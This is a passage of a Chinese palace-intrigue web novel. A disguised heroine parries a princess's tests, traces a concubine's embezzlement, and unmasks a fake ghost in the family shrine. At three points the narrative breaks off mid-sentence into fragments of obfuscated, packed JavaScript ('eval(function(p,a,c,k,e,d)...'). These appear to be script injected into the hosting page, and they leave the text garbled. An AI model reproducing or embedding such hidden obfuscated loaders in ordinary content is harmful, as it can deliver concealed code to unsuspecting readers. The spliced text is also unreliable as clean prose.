大小姐真是深藏不露，这般好技艺，竟说只会些粗浅女红，倒是太谦虚了。想来便是坠崖伤手，也掩不住这份才情。” 昭宁瞥了李娇璃一眼，唇角勾起一抹似有若无的笑，却未接话，只定定望着汀竹，“这曲子既清雅，不如再弹一遍？本宫倒想多听听这‘登不得大雅之堂’的民间小曲。” 汀竹心中微凛，这昭宁公主看似松了口，实则仍在试探。 指尖刚要覆上琴弦，忽闻廊外传来一阵轻快的脚步声，伴着清脆的笑语，“皇姐怎的也在此处？可让我好找！” 众人循声望去，只见一道粉衣身影蹦跳着进来，发间金步摇叮当作响，正是昭宁公主的胞妹，安乐公主。她身后跟着几个宫人，手里捧着食盒，脸上满是雀跃。 “见过安乐公主。”众人又齐齐行礼。 安乐摆摆手，径直跑到昭宁身边坐下，瞥见石案上的紫檀木琴，又看向汀竹，眼睛一亮，“这是在弹琴？方才我在廊外便听见了，清得像山涧水似的，是谁在弹？” 昭宁指了指汀竹，语气平淡，“是太子哥哥的未婚妻，宋小姐。” “哦？”安乐凑近了些，好奇地打量着汀竹的面纱，“便是那位传闻中……”话说到一半，被昭宁一个眼神制止，便转了话头，“便是那位宋小姐？方才那曲子真是你弹的？太好听了！快再弹一遍，我还没听够呢！” 汀竹刚要应声，却见昭宁抬手道：“罢了，看你手伤未愈，反复弹奏怕是累着。”她起身整理了一下宫装裙摆，威仪自生，“今日既见了宋小姐，也听了好曲，本宫便不多留了。” 说罢，她目光扫过宋婉，淡淡补充了一句，“宋二小姐身子不适，便好生休养，往后若有兴致，再献艺也不迟。” 宋婉脸色一阵红一阵白，忙躬身应是。 昭宁又看向汀竹，语气缓和了些许，“宋小姐技艺不俗，性子却太过怯懦，往后在东宫，还需刚强些才好。”言罢，便带着宫人转身离去。 安乐撇撇嘴，冲汀竹眨了眨眼，也跟着跑了出去，临走前还不忘喊了句，“宋小姐，改日我再找你弹琴！” 直到明黄与粉色身影彻底消失在长廊尽头，廊下众人才松了口气，看向汀竹的目光已然不同，有敬畏，有羡慕，也有几分复杂。 宋婉攥紧了帕子，强挤出一丝笑意，语气携带着愤恨之意，“姐姐今日当真是让妹妹刮目相看，竟有这般好技艺。” 汀竹垂眸，声音依旧柔婉，却没了先前那般怯意，“妹妹过奖了，不过是侥幸罢了。”她心中清楚，今日这一关虽过了，但昭宁公主的试探只是开始，往后在崇文轩，怕是难得清净。 李芷瑶上前扶住她的手臂，低声道，“姐姐方才真是险极了，好在你应对得当。” 汀竹轻轻摇头，手指划过微凉的琴弦，眸中溜过一丝不易察觉的锋芒。想要在这崇文轩中安稳度过，光靠怯懦伪装远远不够，方才那曲《竹吟》，既是无奈之举，亦是她亮出的第一柄剑。 轩外阳光正好，透过窗隙落在琴弦上，泛着细碎的光。汀竹知道，属于她的棋局，才刚刚开始。 昭宁公主一行人离去后，崇文轩内的气氛才算真正活络开来。先前屏息凝神的贵女们纷纷围拢过来，七嘴八舌地夸赞起汀竹的琴艺。 “宋大小姐的《竹吟》真是绝了，我竟听出了山岚拂面的滋味。” “是啊是啊，那般意境，便是宫中乐师也未必能及。” “先前只当大小姐性子怯懦，没想到竟是深藏不露的才女。” 宋婉站在人群外围，听着这些夸赞，脸色愈发难看，手里的绣帕几乎要被她绞碎。李娇璃陪在她身侧，低声安慰了几句，目光却时不时瞟向汀竹，带着几分探究与忌惮。 汀竹只是浅浅躬身，语气依旧带着几分怯意，“诸位姐妹谬赞了，臣女不过是瞎弹罢了，当不得这般夸奖。”她说着，便要起身退到一旁，不想再多引人注目。 可刚走两步，便被齐湘玉拦住，面带笑意，“宋妹妹何必过谦？方才那琴音，我可是听得心都醉了。不知这《竹吟》可有曲谱？若是方便，能否借我一观？” 24. 商讨 这话一出，不少喜爱琴艺的贵女也纷纷附和，都想求得曲谱。 汀竹心中微顿，这《竹吟》是桃仙儿独门曲子，并未外传。 她若是贸然应允，既对不起桃仙儿，也怕惹来不必要的麻烦。可若是直接拒绝，又未免显得太过不近人情，刚缓和的局面怕是又要生变。 略一思忖，她垂眸道：“齐姐姐说笑了，这曲子也是我偶然在画舫听闻，便只凭记忆弹奏。” “实在拿不出完整曲谱，怕是要让姐姐失望了。” 齐湘玉脸上的笑意淡了些，眼底略有几分疑虑，却也没再追问，只是顺着话头笑道：“原来如此，是我唐突了。这般妙曲竟无曲谱，实在可惜。” 她说着，目光在汀竹脸上的面纱上停留片刻，语气添了几分试探，“说起来，宋妹妹素来以面纱遮面，倒是让人好奇得紧。方才听公主提及妹妹坠崖之事，想来伤势不轻，不知如今可大安了？” 这话一出，周围的议论声又低了几分，所有目光再次聚焦在汀竹身上，带着探究与好奇。谁都想知道，这位未来太子妃究竟是真的容貌有碍，还是另有隐情。 汀竹心中冷笑，这齐湘玉倒是会顺藤摸瓜，步步紧逼。 她垂眸掩去眸中的凉意，声音带着几分怅然，“劳姐姐挂心，外伤虽愈，倒是留下些疤痕，实在有碍观瞻，便只能以面纱遮之，还望诸位姐姐莫要见怪。” 齐湘玉却不肯罢休，又道：“听闻三月后便是妹妹与太子殿下的大婚，陛下早已派了宫中太医为妹妹诊治疤痕。不知这般诊治下来，可有成效？” 汀竹指尖悄悄攥紧了裙角，面上却依旧维持着淡然。 她抬眸，目光掠过齐湘玉带着探究的眼，声音清浅如溪：“太医医术自然高明，只是疤痕顽固，非朝夕可消。能保得性命无虞，已是万幸，不敢再多奢求。” “何况，”她话锋微转，唇角勾起一抹浅淡的笑意，“太子殿下看重的，从来不是皮囊容貌，而是内里的品性。这般在意疤痕，倒显得我太过肤浅了。” 这番话说得得体，既回应了疑问，又不动声色地抬了太子的气度，让周遭不少贵女暗自点头。 齐湘玉眼底闪过一丝不甘，却又找不到反驳的由头，只能笑道：“妹妹说得是。太子殿下仁厚，自然不会在意这些。倒是我，总揪着这些小事追问，倒是显得小家子气了。” 她话虽这么说，目光却仍在汀竹面纱上打转，像是总想从中窥出些什么。 午后过半，女官也并未继续授课，只让众贵女温习先前所讲授过的课程，或是自行安排。 李芷瑶拉着汀竹坐到一侧练字，压低声音道：“方才姐姐应对得极好，既没得罪公主，又将矛头转向至宋婉，还堵得齐湘玉无从再问，实在高明！” 汀竹执起毛笔的手微微一顿，墨汁在宣纸上晕开一小团浅痕，她侧头看向李芷瑶，唇角噙着一抹淡笑，“不过是据实回应罢了，哪里谈得上高明。” “姐姐就别谦虚了！”李芷瑶笔尖一顿，凑近了些，声音压得更低，“齐湘玉那话里藏刀的架势，谁听不出来？偏你既没恼，又没露怯，还顺带抬了太子殿下的颜面，换做旁人，早被她问得语塞了。” 她说着，目光扫过不远处正与其他贵女闲谈，却时不时往这边瞥来的齐湘玉，撇了撇嘴，“她呀，无非是嫉妒你能得太子殿下青眼，又好奇你面纱后的模样，总想挑点错处罢了。” 汀竹指尖轻轻摩挲着笔杆，眸色沉静，“身在这深宅贵圈，口舌是非本就多，与其争辩，不如淡然处之。她若真想找茬，即便今日避过，日后也会另寻由头。” * 回了将军府，锁秋便引汀竹去了宋夫人的正院。这一幕恰落入了梨画眼中，她转身便回了西厢房。 “母亲。”汀竹朝等候多时的宋夫人福了个礼，“不知唤女儿前来，可是出了什么要紧之事？” 宋夫人接连叹了口气，示意梓盼去门口候着，这才压低声音道：“想必周姨娘暗中克扣银两之事，你早已知晓吧？” 汀竹闻言微怔，侧头瞥了一眼锁秋，见她轻点了一下脑袋，便如实相告，“女儿确已知晓。” “今早女儿见院中杏儿倒在房门口，细问之下才知，是周姨娘派她暗中盯着女儿的行踪。从她口中，女儿得知周姨娘前段时日支取了一笔不菲银两，这才让锁秋查探个究竟。” “除此之外，女儿还心疑之前坠崖之事，并非巧合。” 宋夫人听得这话，身子猛的往后一颤，幸得身侧有梓溪及时搀扶才未曾失态。她满眼难以置信，声音发颤，“清禾你是说……坠崖之事也是她所为？” “嗯。”汀竹颔首，语气笃定，又上前一步握住宋夫人微凉的手轻抚着，“母亲莫怕，既然她如此心狠手辣，女儿断不会再容她肆意妄为。” 汀竹只单单点破了这两件事，至于长期在宋夫人安神香下毒之事，她只字未提。 若如是周姨娘暗中下毒倒是好办，可若是宋将军，那此事倒棘手多了。 宋夫人手指冰寒刺骨，即便被汀竹的手包裹住也止不住微颤，半晌才缓过一口气，声音带着难以掩饰的瑟然与疼惜，“清禾，真是苦了你了。” “都怪母亲身子孱弱、无用，竟没能护你周全。”她轻轻拍着汀竹的手背，眼中满是愧疚与怜惜。 汀竹反手回握宋夫人的手，指尖带着暖意熨帖着她的寒凉，温声劝道：“母亲何出此言？这些年若不是母亲暗中照拂，女儿怕是难以在府中立足。” “如今事情渐有眉目，女儿自会料理妥当，断不让母亲再为这事忧心。” “唉，这几年来周姨娘在府中势力已深，怕是没那么容易对付。”宋夫人长叹口气，眼底拢着愁绪。 她知周姨娘心机颇深，便借身子有恙，将府中大小事务交与她打理，这才退而求其次只求安稳度日罢了。 “母亲，女儿知你心中忧虑。”汀竹柔声安慰，指尖轻轻拍了拍她的手背，“可我们若一味示弱求安稳，她却偏不肯罢休，反而会一而再三得寸进尺。” 见宋夫人眉眼担忧，汀竹又轻轻拍了她的手背，又凑近了些声音温和，眼眸中带着几分安抚的笃定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“蠢货！”周姨娘低斥一声，语气带着几分不耐，“那账册本就繁杂，些许疏漏本是常事，何况咱们改的隐秘，只是无关紧要处留了些模糊痕迹，反倒显得合情合理。” “再者，老爷日理万机，哪有心思逐字逐句核对这些琐碎账目？” 她走到窗边，望着院外沉沉夜色，声音又沉了几分，“她们无非是想拿此事拿捏咱们。可她们忘了，这府中之事，从来不是单凭一本账册便能说清的。” “你且放宽心，若有人问起，便照白日教你的说辞应答，咬死了是底下人办事疏忽，与你我无关。” 梨画听了她这般说，心头的巨石总算稍稍落地，稳了稳心神道：“奴婢明白。” 周姨娘转过身，眸色沉沉，“杏儿那丫头，可靠得住？” 梨画忙道：“回姨娘，绝对可靠。杏儿一家都在府中当差，有了银铃这前车之鉴，借她个胆子也不敢出卖咱们。” 周姨娘闻言点点头，沉声道：“如此甚好。你找机会传个话，让她好生盯紧宋韫等人的动静，有任何风吹草动，即刻来报。” “是。”梨画回复。 周姨娘又问起了宋婉这几日的情况，梨画便说：“想来是二小姐闭门自省，心中烦闷，这几日神色瞧着颇有不悦。” “得找个机会，劝老爷收回成命，早些解了莲溪的禁足才好。”周姨娘捻着绣帕，若有所思的低语。 25. 窥探 “小姐，你是不知道今日梨画的窘迫模样。”锁秋侍立汀竹身侧，絮絮说着白日里的情景。话锋一转又凑上前，巧笑拍着马屁，“奴婢越发觉得跟小姐待久了，连语气都能沾了三分你的雅致。” 汀竹正翻看着《内训》，温习着女官所授的课业，亦将书中宋韫的见解默记于心。听着锁秋在身边喋喋不休，她无奈摇了摇头，抬眸时眼底含着几分宠溺，浅浅笑道：“你呀，惯会贫嘴。” “账本之中，可还有发现其他可疑之处？” 锁秋敛了笑意，便将未曾跟宋夫人言明的账目禀明了她，“小姐，有两笔账目着实蹊跷。一是为备赵老夫人寿宴所花的银两，二是有几笔打点下人的银两皆是在小姐坠崖前不久打点的，瞧数目到不少。” “锁秋，你确定没瞧错?”汀竹望向她时，语气带着几分审慎，欲再确认。 锁秋重重点头，十分笃定，“奴婢再三核对，绝无差错，落款之处皆是梨画的署名。” 汀竹闻言，缓缓放下了手中《内训》，从案角翻出了一册《孙子兵法》。这本兵书，倒是合她的心意。 “如此说来，你家小姐的死与周姨娘脱不了干系。”她垂眸抚过书页，翻卷间却一时毫无头绪。如若是从前，她此刻早已执起银针便能取周姨娘性命。可这般虽报了仇，不仅会连累宋夫人还会暴露自己的身份，依旧是死路一条。 而如今她已向周姨娘撕破那层软弱的假面，即便将账本作为证据，揭发周姨娘中饱私囊。以那妇人深沉的心思，想来是早已备好了应对之策，届时怕又落得个“栽赃陷害”的罪名。 她得另寻一条万全之策才好。 “小姐？”锁秋见她久默不语，眉头自回暖居阁便未曾舒展，不由得忧心开口，“可是遇上了难办的事？” 在锁秋心里，汀竹不仅聪慧过人，武力还高超。可瞧着她此刻凝眉沉思的模样，终究是按耐不住担忧。 “倒是无事，账本一事我另寻个机会打探。眼下先从冬烝之事下手，你便按我先前吩咐的做便是。”汀竹揉着眉心，“白日里我不在府中时，务必护好宋夫人。” 言罢，又特意叮嘱一句，“尤其是提防着周姨娘身边的人，不可有半分懈怠。” 锁秋点头“嗯”了一声，又问道:“小姐，今夜还去醉心楼么？” 汀竹摆手作罢，“今夜便不去了。” 她随手翻了几页兵书，忽然想起白日里昭宁公主的刻意刁难，遂问锁秋，“你可知晓昭宁公主？” “昭宁公主？”锁秋凝眉思索片刻，“奴婢略有耳闻。” “你且细细说来。”汀竹又忽然来了兴趣，目光灼灼。 锁秋便将所知有关昭宁公主的一切事情，一一禀明了她，“昭宁公主乃是娴妃娘娘所生，尚有一她胞妹，便是安乐公主......” 从锁秋口中得知，这两位公主与太子交情甚好，情同一母所生。宫中传闻，昭宁公主年幼时曾失足跌落御花园中的荷花池，险些溺毙，幸得路过的太子殿下相救。自那之后，因此昭宁公主便成了太子殿下的贴身跟班，形影不离。 汀竹垂眸沉吟稍许，又问及了太子与端王的关系。 锁秋忙道：“太子殿下与端王殿下素来是水火不容，势同冰碳。小姐往后往后若是遇上端王，需避之则吉。” “如今你与太子殿下即将大婚，若是传出些许不利的谣言，于将军府名身有损，不可不慎。” 汀竹翻页的动作一顿，目光便落在了“知己知彼”四字之上，眸色微沉。宋韫与太子殿下的婚约倒是莫名所以，单单是为了宋将军手中的兵权？还是因宋将军受陛下重视而拉拢势力？朝堂之事她不明白，她只知如此这般宋韫也不过是巩固权利地位的工具。 如今牵扯出昭宁公主这层深渊，再者她明面上又属太子这派，莫名添了端王这等劲敌，往后行事，怕不能如往常一般，更需要步步为营。 “这般说来，昭宁公主刁难我，未必是单纯看我不顺眼。”汀竹轻声呢喃，眼底忽然浮现出明悟，“或许是受了太子的意，或是想替太子试探我的底线？” 锁秋闻言一惊，“小姐是说，白日里遇到了公主故意为难？可你与太子殿下不过偶然遇过两三次面，尚且得礼，他为何要试探你？” “皇家儿女，哪有表面那般简单。”汀竹抬眸，望向窗棂外的月色，带着几分冷冽，“这状婚事牵扯着将军府与东宫的利害，太子若想安心，自然要摸清楚未来太子妃的底线。” 她顿了顿，又道：“更何况，端王与太子势同水火，我既成了太子未婚妻，便是端王的眼中钉。昭宁公主这般高调针对我，说不定还能引起端王的注意，一箭双雕。” 锁秋听得心头一紧，攥紧了衣袖来回踱步，“那可如何是好？小姐既要对付周姨娘，又要提防公主与端王，还要顾及与太子的婚约......” “无妨。”汀竹搁下了手中兵书，语气沉稳，“兵来将挡，水来土掩。周姨娘那般，冬烝之事便可是突破口。昭宁公主若再刁难，我便顺势接招，既不示弱也不张扬，让她摸不透我的深浅。至于端王，往后遇上便绕道而行，暂不与他正面冲突。” 她又重新拿起那本《孙子兵法》，看着书中内容满意点头，“眼下最要紧的，是先稳住将军府的局面，查清她坠崖的真相。待这些事了，我便......” “小姐，你是要离开吗？”锁秋攥紧了手指，急切追问，声音里夹杂着一丝不易察觉的颤抖。 汀竹看着兵书发黄的页面，眸色沉沉，未直接作答。窗外月色如霜，洒在院落中的榆树叶面，泛起片片光影。 “锁秋，”她忽然开口，声音轻的如同秋日里的微风，带着几分疏离与寒凉，“我本不属于这里，你是知道的。” 她知报了恩情便无处可去，但这时刻危机四伏的宅院深宫， 锁秋一怔，随即低着头，眼角瞬间被情绪裹挟，晕湿了整个眼眶，泪水悄然落下。 她沉默一瞬，强压心中的不舍，抿了抿唇，略带哽咽道：“奴婢明白......只是小姐若要离去，务必告知奴婢一声。无论天涯海角，奴婢都想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚说完，锁秋意识到自己的行为过于无礼，连忙将手松开，小脸瞬间涨的通红，带着几分歉意与忐忑。又怕她临时反悔，急忙解释，“小姐，奴婢只是……只是太激动了。” 汀竹柔柔一笑，嘴角漾起一抹从未有过的浅浅酒窝，温声道：“无碍。” 夜色渐深，暖居阁内烛火摇曳，映得窗棂上的影子忽明忽暗。 汀竹重新落座书案前，继续翻阅着那本《孙子兵法》，刚想又说些什么。院外突然传来一阵轻微的脚步声，伴着枝叶摩挲的轻响。 她眼神一凛，抬手示意锁秋噤声，接着自己已经悄无声息地移至门后，指尖扣住一枚银针，周身气息瞬间沉凝如霜。 那脚步声在阁外停了片刻，似在窥探，随即又轻手地远去。锁秋吓的脸色发白，压低声音道：“不会是……杏儿？” 汀竹摇了摇头，“听脚步声沉重，倒像是男子。”银针落回袖中，旋即转身从衣柜中翻出一套便装换上，戴上了那狐狸面具。 又对锁秋嘱咐着，“我且去瞧瞧，你在屋中好生待着。若有人过来，你便说我睡下。” “好，小姐万事小心。”锁秋点点头。 接着汀竹便从后窗悄然去寻方才在院中窥探之人。 26. 唱腔 汀竹脚步放得轻，循着那似有若无的异响一步步探寻。最终便见前面不远处，有一抹鬼祟的黑影攒动，她敛声屏气小心贴了上去，想辨清那黑影的面目。 那黑影步履匆匆，转眼间就拐进了一道长廊。汀竹紧随其后，却骤然不见人影，抬眼望去，竟已然到了家庙前院。 倏忽间，四周生起了一股浅浅的白雾，丝丝缕缕缠绕周身，带着几分阴寒湿冷。 汀竹心头一凛，忙以衣袖捂着口鼻，怕这突如其来的雾里含有歹毒迷药。随后用另一只手挥散眼前的雾气，试图想看清周遭的景象。 忽闻耳边传来一阵尖利女子的唱腔刺破寂静，“恶妇毒心昭日月，脖颈血溅染青石——”声调怨毒刺骨，尾音陡然拔高，“若有来生重活过，定叫毒妇命归天!”话音落，一阵桀桀怪笑响起，“哈哈哈~定叫毒妇命归天哈~命归天~”笑声凄厉，似哭似嚎，在空荡的庭院中来回回荡，令人毛孔悚然。 汀竹循着声音源头望去。 白雾之中，渐渐浮现一抹女子曼妙的身影。发长如瀑布垂落，拖地时发出稀碎声响，一身鲜血染透的罗裙，红得发黑，裙摆滴落的“血珠”落在青石板上，晕开点点暗沉的痕迹。正当她想定睛细看，那身影猛地转头，一双空洞流血的眼窝直直锁住她所在的位置，诡笑道：“桀桀~~找到你了~”。 下一瞬，那女子的头颅竟如同枯木般“咔嚓”断裂，以一个诡异的角度冲着汀竹歪来。嘴角裂开极大的弧度，红唇外翻，白齿森然，竟能瞥见颌骨白生生的轮廓，那笑意狰狞可怕，仿佛要将人生吞活剥。未等汀竹反应，那身影携着一股彻骨的寒气，直挺挺朝她扑来。 谁料汀竹身形一晃，向左疾闪，厉着眸子便与那笑得瘆人的鬼面四目相对。她眸色一沉，已然识破其中的伎俩，当即出手扣住对方的肩膀，便要将此人脸上那张骇人的面皮扯下。 那人显然未料汀竹竟是不信鬼神之人，不惧怕这般装神弄鬼，心头骤生诧异，忙挣扎着想要挣脱。一双惨白如纸的手猛地攥拳，带着凌厉的风声朝汀竹面门砸来，手指间还沾着暗红的“血渍”。 汀竹抬手用手掌抵挡住，顺势扣住了对方手腕。那人见状，急忙又用腿来横绊，想将她绊倒。汀竹眼疾手快，扣着他的肩膀猛地挺身，翻身以手掌为支撑立于他上方。 那人腿绊空之下，又承受着汀竹全身的重量，脚步一个踉跄，反手死死攥住汀竹撑着肩膀上的手腕，发力想将汀竹扯下摔至地上。 汀竹反应迅速，趁对方发力之际，便从袖口中顺出一根细长的银针，抬手一掌劈在对方胸口，同时将银针狠狠扎入其肩窝，借力将人推了出去，自己则是稳稳落地。 那人捂着隐隐发痛的肩膀踉跄后腿，显然发觉自己不是汀竹的对手。他心知不妙，就转身便想要逃离。 汀竹正想乘胜追击，院中白雾却陡然浓稠数倍，如实质般的白墙将视线阻隔。与此同时，那凄厉打的唱腔再次响起，“若有来生重活过，定叫毒妇命归天！”歌声渐远...... 待雾气稍散，那人已消失的无影无踪，只留满院阴寒与若有若无的血腥味。 汀竹疑立在院中，望着家庙的匾额，心头疑窦丛生。 此人究竟是谁？为何要窃听她闺中谈话？为何要在此装神弄鬼？ 正疑虑之间，余光瞥见那青石板上几滴暗沉的血滴。接着她便上前半步，弯腰用指尖拈沾起一点血渍。碾于指腹，借着月光细察这血渍的质地，又贴近鼻端，浅浅嗅了嗅。一股腥气浸入鼻息。确实是鲜血无疑，但这腥膻味不似人血，反倒类同鸡血。 随后，汀竹又朝前走了数步，便瞧见那墙壁与长廊之间的巨大水缸，就近前俯身朝里看了看。 月华倾泻，水缸中倒影赫然映出一张深棕色狐狸面具，轮廓狰狞，在夜色中透着几分恐怖。 她凝神细瞧，只见水面漂浮着几缕白霜似的粉末。便用手指拈取少许凑近鼻下闻了闻，心中恍然。 原来是“霖霏粉”。 一种遇水生雾的粉末。 汀竹倒是没料到这戏班子常用的“蒙骗之物”，竟会出现在将军府。尤其是方才那“鬼影”所唱的两句词，声调婉转，倒真有几分戏子的韵致。 刚想转身离去，便听见几道胆小哆嗦的声音愈发清晰—— “哎呦，咱几个真是命苦，竟被安排到这诡异之处值守。” “谁叫咱们几个会点拳脚功夫。” “往常祭祀都是咱几个，料想无碍。” “也是，都说这地方闹鬼，也没见那家庙之内老夫人有着什么事。” “话虽如此，只是今夜这雾着实怪异......”话音刚落，其中一个侍卫无意间瞥到了长廊之下的黑影，忽然指着那黑影所在的地方，声音抖得不成样子，“那......那有个......” 几人便朝那侍卫所指方向望了过去，只见一张瘆人的狐狸面具，依着月光泛着暗红，正死死盯着他们几人。 汀竹心念一转，忽生一计。 她尖着嗓子，唱着方才那几句诡谲的唱词，“恶毒妇人昭日月，脖颈血溅染青石。若有来生重活过，定叫毒妇命归天！”尾音未落，随即便伴随着一阵凄厉诡笑“桀桀”划破夜空，她又轻轻扭了一下脖颈，“咔嚓”一声，好似骨节断裂。 “鬼啊！”那几人瞬间被吓得魂飞魄散，跌跌撞撞便朝所来之方向逃窜而去。 汀竹见此情景，旋即抽身离去，疾步返回了暖居阁。 暖居阁内，烛火漾着柔光，窗棂暗影交错，漫染壁间清寂。汀竹推窗而出入，反手合上了窗棂，摘下面具掷于案上，指尖犹带着几分霖霏粉的清冽之气。 “小姐！”锁秋忧着的心瞬间落地，脸上当即绽出笑容。 汀竹颔首，并未回应。只端起桌上冷茶一饮而尽，压下喉间残余的尖细唱腔，目光落在面具上那狐狸轮廓，眸色沉沉。 这将军府的家庙之处，当真是处处透着诡异。霖霏粉本是戏班障眼小伎，用以营造仙境或阴曹幻境，怎会出现在府中禁地？ 尤其是方才那几句唱词，字字直指“毒妇”，又与青石板上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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回想起缠斗时的情景，掌心推拒那人时，已然辨明那人是名男子，身形较她高出半头，又补充道：“唯一能确定的对方是男子。” 那人身高不算魁梧，体态不及寻常男子般壮硕，却较女子身形宽绰些许。 “小姐，方才你说那人中了你的毒针，不知性命可会有碍？”锁秋追问。 汀竹摇了摇头，眸中闪过一丝算计，“若真让他死了，又怎知是谁在暗中操纵？” “那银针上刺入臂膀，所带之毒仅能废其臂膀力气。下次再遇，他便插翅难飞。” 锁秋面露忧色，蹙眉问道：“小姐，可若此人此后销声匿迹，不再现身，该如何是好？” 汀竹一手托着脑袋，一手轻叩杯沿，釉色茶杯在案几上发出清脆声响，她眸中计谋渐化笃定，“他既感深夜窥探引我前去，必是受人所托有所图谋，岂会因废了一臂便甘休？” “那毒虽不致命，却有个古怪。三日之内，臂上毒发处只要稍一用力，中毒之处便会传来揪心的疼痛。”她抬眸看向锁秋，语气从容，“这世间能解此毒的唯有我一人。说不定，他会受不了疼痛自爆身份找我解毒。” 锁秋眼中一亮，连连称赞道：“小姐此计，实在是高明！” 27. 绒毯 拂晓时分，汀竹便嘱咐锁秋以昨夜偶感风寒为由，替自己告了一日假期。 酣睡之中，便依稀听见身侧床畔传来一声满含疼惜的轻语，柔婉而担忧，“昨日还好好的，怎就感染了风寒？” 锁秋忙躬身回应，“许是奴婢昨夜疏忽，未将窗棂合严实，才让小姐着了凉。都怪奴婢失责，还请夫人责罚！” “人都有疏忽的时候，罢了。”宋夫人抬手轻摆，语气温缓，“下次须得仔细些。可曾请大夫瞧过？” “一早便请府中大夫过来瞧了，”锁秋回道，“大夫已为小姐开了驱寒的方子，还嘱咐小姐好生静养，不可再劳神。” 宋夫人正想要说些什么，汀竹忽从睡梦中转醒，故作轻咳两声，睡眼惺忪地瞧着床边端坐着的人影，挣扎就想将起身，“母亲怎的来了？” 为装得真切，她特意让锁秋为自己化了个虚弱的妆面，又提前用汤婆子焐了额头，衬得面色苍白。方才大夫诊脉时本有疑虑，可瞧她这般虚弱模样，反倒蹙眉自省，生怕落了个医术不精的名声丢了在将军府行医的饭碗，匆匆开了风寒药方便回了医馆。 宋夫人轻轻搀扶着她倚在床头软枕上，“一早便听锁秋这丫头说你病了，便给你熬了碗羊肉粥。” 侍立一旁的梓盼忙接话，“小姐，这可是夫人特地给你熬的呢！” “就你多嘴。”宋夫人略带宠溺的嗔了梓盼一句，随即示意她将那碗粥端过来。 见宋夫人要亲自喂自己，汀竹急忙推辞，“母亲，还是我自己来吧。”说罢就要去接过她手中的青瓷小碗。 宋夫人轻“欸”了一声，缓缓推开了她的手，执意要亲自喂，“都病着了，偏还要逞能。” 汀竹闻言，惭愧垂下了脑袋，心中竟生出几分虚惶。她本就没感染风寒，不过是借着由头逃课一日，查查周姨娘私吞银两之事，是否与昨夜那人有关。 “母亲。”汀竹轻声唤道。 宋夫人捏着瓷勺在碗里舀起一勺粥，轻轻吹至温热，才递到汀竹嘴边。 汀竹顺势张了张嘴，小口小口的将勺里的粥缓缓咽下，浅浅一品，眼中顿时亮了几分，“母亲这羊肉粥，滋味真好！” 暖粥入胃，一股难以言喻的暖意悄然蔓延，她只觉自己此刻十分的舒泰。 “只是这芫荽的味道略有些怪，”她轻声说道，“若是换作陈皮与白蔻去腥，想来滋味会更佳。” 宋夫人闻言，眼底稍有一丝诧异，但很快便恢复了方才那般温和的笑意，“这芫荽是膳房一早刚买的。我瞧着新鲜，便与羊肉煲粥了。” “你这一生病，嘴倒是愈发挑了。”言语里满是往日的宠溺。 汀竹浅浅扯了扯嘴角，她本就不甚喜芫荽的香味，却也不至于难以下咽，便含糊道：“许是风寒作祟，口中滋味便变了味。” 宋夫人无奈一笑，“你这孩子。”说罢，便不着痕迹地将勺中芫荽的撇去，只舀了满勺羊肉喂给了她。一碗粥见底，虽早已饱腹，但念及是宋夫人一片心意，汀竹还是尽数吃完。 正当她二人聊的投机时，门口忽然传来一阵语调绵柔，却又藏着几分算计的甜腻嗓音响起。随后便见一位妆容艳丽的周姨娘款款走来，“大小姐，妾身听闻你染了风寒，特地过来瞧瞧。” 她刚迈过屏风，就瞧见宋夫人也在，当即敛了几分神色，笑着见礼，“咦？原来姐姐也在此处。” “姨娘安。”锁秋与梓盼一同屈膝浅浅行了礼。 紧随其后的梨画也欠了身朝宋夫人与汀竹福了个礼，“夫人，大小姐安。” 宋夫人颔首不语，淡淡瞥了周姨娘一眼，这才缓缓开口,“有劳妹妹挂心了。”语调平缓，无甚波澜，“清禾不过偶感风寒，静养几日便好，倒不必这般兴师动众。” 周姨娘掩唇轻笑，手指捏着绢帕，款步走近床边，目光落在汀竹苍白的脸上，故作关切道：“大小姐金枝玉叶，身子骨本就娇弱，如今染了病，可把妾身心疼坏了。” “妾身方才让梨画在库房寻了些上好的高丽参，还有凝神静气的珍珠粉，都给大小姐带了来。” 话落，她连忙冲梨画招了招手，梨画就上前一步，将金漆盒放在床头矮几上，掀开盒盖，里面果然衬着红绒，摆着一支硕大的参须和一小罐莹白的粉末。 汀竹靠在软枕上，假意虚弱地咳了两声，声音细弱，“有劳姨娘费心了，这般贵重的东西，清禾愧不敢受。” “大小姐说的哪里话。”周姨娘笑意更深，顿了一下，又拍手恍然大悟道：“对了，瞧妾身这记性。” “大小姐屋中不是缺块暖和的绒毯吗？妾身便将寻了块上好的给大小姐你带了过来。”说罢就示意梨画将绒毯呈上。 梨画便轻声超门口唤了一声。只见一名个婢女捧着金漆木盘上前，盘中摆放一方整齐的乳白色绒毯，毯面以金丝绣着“孔雀戏牡丹”纹样，流光溢彩。 周姨娘走上前，指尖轻轻点在那绒毯绣纹上，“这孔雀戏牡丹，寓意荣华富贵，美满和谐，最是吉祥。大小姐铺着它，既能暖身，也盼着你早日康复，福气绵延。” 说完她唇边噙着一抹似笑非笑，末尾那“福气绵延”四字，竟是咬字格外清晰。 那婢女便捧着托盘朝宋夫人与汀竹走近了几步，那绒毯便安安稳稳端在了她二人面前。 汀竹指尖触上绒毯，只觉绒毯软绵厚实，金丝绣在面上，流转着细碎的光泽，孔雀尾羽的眼斑栩栩如生，牡丹花瓣层层叠叠，针脚细密得不见分毫痕迹。 连她这种刚入门绣活的人都能感受这绒毯上的绣纹极好，可见这周姨娘是下了血本。 还未等汀竹作出回应，宋夫人细细瞧了两眼，淡淡道：“妹妹倒是费心了。” “这般精工细作的物件，想必耗费不少银两，铺在床塌之上，到着实是可惜。” 周姨娘眼底掠过一丝讥诮，旋即掩去，转而笑道：“姐姐说的哪里话，大小姐乃是将军府嫡出金枝。这般好物，本就该配她才是 